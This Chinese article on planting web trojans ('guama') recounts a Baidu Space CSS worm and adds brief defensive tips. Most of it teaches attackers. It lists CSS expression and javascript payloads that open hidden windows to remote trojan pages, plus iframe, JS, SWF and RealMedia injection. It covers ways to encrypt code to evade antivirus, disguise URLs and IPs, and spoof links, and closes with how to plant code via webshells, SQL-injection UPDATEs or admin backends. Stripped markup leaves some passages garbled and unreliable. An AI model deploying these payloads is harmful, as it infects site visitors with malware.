隨著Web2.0的普及,各種網(wǎng)頁(yè)特效用得越來(lái)越多,這也給黑客一個(gè)可乘之機(jī)。他們發(fā)現(xiàn),用來(lái)制作網(wǎng)頁(yè)特效的CSS代碼,也可以用來(lái)掛馬。而比較諷刺的是,CSS掛馬方式其實(shí)是從防范E掛馬的CSS代碼演變而來(lái)。
網(wǎng)站掛馬的手段最初非常單一,但是隨著Web2.0技術(shù)以及Blog、Wiki等廣泛的應(yīng)用,掛馬也涌現(xiàn)出各種各樣的技術(shù),其中CSS掛馬方式,可以說(shuō)是Web2.0時(shí)代黑客的最愛(ài)。有許多非常著名的網(wǎng)站都被黑客用CSS掛馬入侵過(guò)。
在我印象中,記憶最深刻的一次是百度空間CSS掛馬。當(dāng)時(shí),百度空間推出沒(méi)有多久,就有許多百度用戶收到了類似“哈,節(jié)日快樂(lè)呀!熱烈慶祝2008,心情好好,記住要想我!http://hi.baidu.com/XXXXX”的站內(nèi)消息。
由于網(wǎng)址是百度空間的網(wǎng)址,許多用戶認(rèn)為不會(huì)存在安全問(wèn)題,加上又有可能是自己朋友發(fā)來(lái)的,因此會(huì)毫不猶豫地點(diǎn)擊進(jìn)入。但是進(jìn)入指定的網(wǎng)址后,用戶就會(huì)感染蠕蟲(chóng)病毒,并繼續(xù)傳播。
由于蠕蟲(chóng)擴(kuò)散非常嚴(yán)重,最終導(dǎo)致百度空間不得不發(fā)布官方聲明提醒用戶,并且大費(fèi)周折地在服務(wù)器中清除蠕蟲(chóng)的惡意代碼。那一次的掛馬事件利用的就是百 度空間CSS模板功能,通過(guò)變形的e-xpression在CSS代碼中動(dòng)態(tài)執(zhí)行腳本,讓指定的遠(yuǎn)程惡意代碼文件在后臺(tái)悄悄運(yùn)行并發(fā)送大量偽造信息。
我建議大家在點(diǎn)擊陌生鏈接時(shí),要多個(gè)心眼,大網(wǎng)站也是可能被掛馬的。大家在上網(wǎng)時(shí),最好還是使用一些帶網(wǎng)頁(yè)木馬攔截功能的安全輔助工具。
黑客為什么選擇CSS掛馬?
在Web1.0時(shí)代,使用E掛馬對(duì)于黑客而言,與其說(shuō)是為了更好地實(shí)現(xiàn)木馬的隱藏,倒不如說(shuō)是無(wú)可奈何的一個(gè)選擇。在簡(jiǎn)單的HTML網(wǎng)頁(yè)和缺乏交互性的網(wǎng)站中,黑客可以利用的手段也非常有限,即使采取了復(fù)雜的偽裝,也很容易被識(shí)破,還不如E來(lái)得直接和有效。
但如今交互式的Web2.0網(wǎng)站越來(lái)越多,允許用戶設(shè)置與修改的博客、SNS社區(qū)等紛紛出現(xiàn)。這些互動(dòng)性非常強(qiáng)的社區(qū)和博客中,往往會(huì)提供豐富的功能,并且會(huì)允許用戶使用CSS層疊樣式表來(lái)對(duì)網(wǎng)站的網(wǎng)頁(yè)進(jìn)行自由的修改,這促使了CSS掛馬流行。
小百科:
CSS是層疊樣式表(CascadingStyleSheets)的英文縮寫。CSS最主要的目的是將文件的結(jié)構(gòu)(用HTML或其他相關(guān)語(yǔ)言寫的)與文件的顯示分隔開(kāi)來(lái)。這個(gè)分隔可以讓文件的可讀性得到加強(qiáng)、文件的結(jié)構(gòu)更加靈活。
黑客在利用CSS掛馬時(shí),往往是借著網(wǎng)民對(duì)某些大網(wǎng)站的信任,將CSS惡意代碼掛到博客或者其他支持CSS的網(wǎng)頁(yè)中,當(dāng)網(wǎng)民在訪問(wèn)該網(wǎng)頁(yè)時(shí)惡意代碼 就會(huì)執(zhí)行。這就如同你去一家知名且證照齊全的大醫(yī)院看病,你非常信任醫(yī)院,但是你所看的門診卻已經(jīng)被庸醫(yī)外包了下來(lái),并且打著醫(yī)院的名義利用你的信任成功 欺騙了你。但是當(dāng)你事后去找人算賬時(shí),醫(yī)院此時(shí)也往往一臉無(wú)辜。對(duì)于安全工程師而言,CSS掛馬的排查是必備常識(shí)。
CSS掛馬攻防實(shí)錄
攻CSS掛馬方式較多,但主流的方式是通過(guò)有漏洞的博客或者SNS社交網(wǎng)站系統(tǒng),將惡意的CSS代碼寫入支持CSS功能的個(gè)性化頁(yè)面中。下面我們以典型的CSS掛馬方式為例進(jìn)行講解。
方式1:
Body
“background-image”在CSS中的主要功能是用來(lái)定義頁(yè)面的背景圖片。這是最典型的CSS掛馬方式,這段惡意代碼主要是通過(guò)“background-image”配合t代碼讓網(wǎng)頁(yè)木馬悄悄地在用戶的電腦中運(yùn)行。
那如何將這段CSS惡意代碼掛到正常的網(wǎng)頁(yè)中去呢?黑客可以將生成好的網(wǎng)頁(yè)木馬放到自己指定的位置,然后將該段惡意代碼寫入掛馬網(wǎng)站的網(wǎng)頁(yè)中,或者掛馬網(wǎng)頁(yè)所調(diào)用的CSS文件中。
小百科:
使用Body對(duì)象元素,主要是為了讓對(duì)象不再改變整個(gè)網(wǎng)頁(yè)文檔的內(nèi)容,通過(guò)Body對(duì)象的控制,可以將內(nèi)容或者效果控制在指定的大小內(nèi),如同使用DIV對(duì)象那樣精確地設(shè)置大小。
方式2:
Body
background-image: url(t:open(”http://www.X.com/muma.htm“,”newwindow”,”border=”1″ Height=0, Width=0, top=1000, center=0, toolbar=no,menubar=no, scrollbars=no,resizable=no,location=no,status=no”))
方式1的CSS掛馬技術(shù),在運(yùn)行時(shí)會(huì)出現(xiàn)空白的頁(yè)面,影響網(wǎng)頁(yè)訪問(wèn)者正常的訪問(wèn),因此比較容易發(fā)現(xiàn)。不過(guò)在方式2中的這段代碼,使用了t的Open 開(kāi)窗,通過(guò)新開(kāi)一個(gè)隱藏的窗口,在后臺(tái)悄悄地運(yùn)行新窗口并激活訪問(wèn)網(wǎng)頁(yè)溢出木馬頁(yè)面,不會(huì)影響訪問(wèn)者觀看網(wǎng)頁(yè)內(nèi)容,因此更加隱蔽。
防網(wǎng)絡(luò)服務(wù)器被掛馬,通常會(huì)出現(xiàn)防病毒軟件告警之類的信息。由于漏洞不斷更新,掛馬種類時(shí)刻都在變換,通過(guò)客戶端的反映來(lái)發(fā)現(xiàn)服務(wù)器是否被掛馬往往疏漏較大。正確的做法是經(jīng)常檢查服務(wù)器日志,發(fā)現(xiàn)異常信息,經(jīng)常檢查網(wǎng)站代碼,使用網(wǎng)頁(yè)木馬檢測(cè)系統(tǒng),進(jìn)行排查。
目前除了使用以前的阻斷彈出窗口防范CSS掛馬之外,還可以在網(wǎng)頁(yè)中設(shè)置CSS過(guò)濾,將CSS過(guò)濾掉。不過(guò)如果你選擇過(guò)濾CSS的話,首先需要留意自己的相關(guān)網(wǎng)頁(yè)是否有CSS的內(nèi)容,因此我們?nèi)匀皇淄朴米钄喾绞絹?lái)防范CSS。阻斷代碼如下所示:
emiao1:e-xpression(this.src=”about:blank”,this.outerHTML=”");
將外域的木馬代碼的src重寫成本地IE404錯(cuò)誤頁(yè)面的地址,這樣,外域的t代碼不會(huì)被下載。不過(guò)阻斷方式也有天生致命的弱點(diǎn),弱點(diǎn)的秘密我們將于下次揭曉。
幾種常見(jiàn)CSS掛馬代碼示例:
網(wǎng)上流行的:
body
{
background-image: url('javascript:document.write("")')
}
//此方法會(huì)使主頁(yè)不正常.返回一片空白.
用彈窗.
body
{
background-image: url('javascript:open("http://192.168.0.5/test.htm")')
}
//彈出一個(gè)框.難看 易被發(fā)現(xiàn).
改進(jìn)一下:
body
{
background-image: url(javascript:open('http://192.168.0.5/test.htm','newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no'))
}
test.htm里面的代碼,a.js為你的網(wǎng)馬,彈出一個(gè)不可見(jiàn)的窗口,并在5秒自動(dòng)后關(guān)閉沒(méi)提示:
a.js內(nèi)容:
document.write('<!--Iframe src="http://192.168.0.5/calc.htm"></iframe-->');
黑客常用的掛馬方法及防范
1、掛馬的N種方法
(1) HTML掛馬法。
常規(guī)的HTML掛馬方法一般是在網(wǎng)頁(yè)中插入一條iframe語(yǔ)句,像。查看站點(diǎn)是否被掛,一般是查找一下關(guān)鍵詞iframe。
(2) 再隱藏一點(diǎn)的就是js掛馬了。
像再原來(lái)的網(wǎng)頁(yè)中寫入
,horse里的js寫法一般為 document.write(’http:\/\/www.arthack.org\/horse.html’>;,或者專業(yè)一點(diǎn)的寫法是 top.document.body.innerHTML = top.document.body.innerHTML + ‘\r\n
3) 在 css中掛馬。
這個(gè)方法就是在css中寫入
body {
hytop:expression(top.document.body.innerHTML = top.document.body.innerHTML + ‘\r\n<!--iframe src=http://www.xxx.com/horse.html/”></iframe-->’);
}
然后在主頁(yè)中調(diào)用這個(gè)CSS,代碼類似http://www.arthack.org/css.css” rel=”stylesheet” type=”text/css”>這樣的。在csdn 中對(duì)expression的解釋是:IE5及其以后版本支持在CSS中使用expression,用來(lái)吧CSS屬性和javascript表達(dá)式關(guān)聯(lián)起來(lái),這里的CSS屬性可以是元素固有的屬性,也可以是自定義屬性。也就是說(shuō)CSS屬性后面可以是一段Javasccript表達(dá)式,CSS屬性的值等于 javascript表達(dá)式計(jì)算的結(jié)果。在表達(dá)式中可以是直接一用元素自身的屬性和方法,也可以使用其它瀏覽器對(duì)象。這個(gè)表達(dá)式就好像是在這個(gè)元素的一個(gè)成員函數(shù)中一樣。整個(gè)解釋關(guān)鍵點(diǎn)是expression可以在css中引入js語(yǔ)句,所以我們可用于掛馬。不過(guò)寫的語(yǔ)句值可以遠(yuǎn)程調(diào)用,本地不可以。
(4) 在swf中掛馬
網(wǎng)上有一些swf掛馬的工具,可以用工具替換原來(lái)網(wǎng)頁(yè)中的swf或單獨(dú)把swf發(fā)給對(duì)方,一可以單獨(dú)作一個(gè)可顯示swf頁(yè)的網(wǎng)頁(yè)。在網(wǎng)頁(yè)中插入swf的語(yǔ)法一般格式為:
(5) 在影音文件中掛馬。
所需工具是RealMedia Editor,打開(kāi)工具后,然后依次選擇”文件”-”打開(kāi)Real媒體文件”,然后選擇需要編輯的視頻文件,其格式必須是RealOne公司的以RM或 RMVB為擴(kuò)展名的文件。接著,新建一個(gè)文本,在里面輸入u 00:00:10:0 00:00:30.0&&_rpexternal& http://www.arthack.org/horse.htm (00:00:10.0就是發(fā)生第一事件的時(shí)間,這里是讓計(jì)算機(jī)彈出網(wǎng)頁(yè);00:00:30.0同樣,這是第二次發(fā)生的時(shí)間,在0時(shí)0分第30秒0微妙時(shí)彈出窗口;而后面的URL地址就是連接指定的木馬地址。)
輸入完畢后并保存,然后依次選擇”工具”-”合并事件”,導(dǎo)入剛才的文本。當(dāng)合并完成后,依次選擇”文本”-”Real文件另存為”,保存好即可。
最后把生成的視頻文件發(fā)布網(wǎng)上,當(dāng)對(duì)方觀看同時(shí)就會(huì)連接到你指定的木馬地址
2、掛馬的技巧
掛馬首先要求的是隱蔽性,這樣掛的時(shí)間才能長(zhǎng)。像在SWF、JS、RM中掛馬就是比較隱蔽了,但是還可再用到些技巧。
(1)遠(yuǎn)程任意后綴執(zhí)行HTML
可以把horse.html改成horse.jpg之類的后綴,然后語(yǔ)句寫成
2)JS的加密
為了保護(hù)網(wǎng)頁(yè)木馬的代碼,可以把JS內(nèi)容加密,還能躲開(kāi)殺軟的作用。如果使用ENCODE加密方式,加密后的JS調(diào)用語(yǔ)句就用
(3)URL的變形
URL的變形方法也有很多,例如將url的16進(jìn)制轉(zhuǎn)換為encod編碼等。如果是涉及到URL欺騙的方法就更多了,不過(guò)多數(shù)的URL欺騙,像利用@的技巧,IE都已經(jīng)打補(bǔ)丁了。但現(xiàn)在有個(gè)漏洞仍然有效,代碼如下:
<!--><a id=”CZY” href=http://www.arthack.org”></a>
<div>
<a href=http://www.google.cn” target=”_blank”>
<table>
<caption>
<a href=http://www.google.cn” target=”_blank”>
<label for=”CZY”>
<u style=”cursor: pointer: color: blue”>
Google</u>
</label></a></caption></table></a></div><-->
保存該代碼為網(wǎng)頁(yè)后,鼠標(biāo)移動(dòng)到Google這個(gè)鏈接上時(shí),IE狀態(tài)欄顯示的http://www.google.cn,但點(diǎn)擊鏈接后卻打開(kāi) http://www.arthack.org網(wǎng)站。如果你的網(wǎng)馬可以用IP地址訪問(wèn)到的話,IP地址也可以進(jìn)行轉(zhuǎn)換的。像127.0.0.1這樣的IP 還可以 變?yōu)?2130706433、0×7f.0×00.0×00.0×01、0177.0000.0000.0001等等,這只不過(guò)是8進(jìn)制、10進(jìn)制、16進(jìn)制、的轉(zhuǎn)換而已。
3、如何才能掛到馬
拿到了webshell的話,掛馬自然是很簡(jiǎn)單了。但是拿不到的情況下,如果注入點(diǎn)有update權(quán)限,我們可以仔細(xì)查找首頁(yè)中的某條新聞的調(diào)用鏈接,然后update數(shù)據(jù)庫(kù)達(dá)到我們的目的。如果可進(jìn)入后臺(tái),我沒(méi)就可以在一些發(fā)公告的地方寫入自己的木馬代碼(不過(guò)千萬(wàn)別打亂前臺(tái)html源文件里的代碼邏輯)。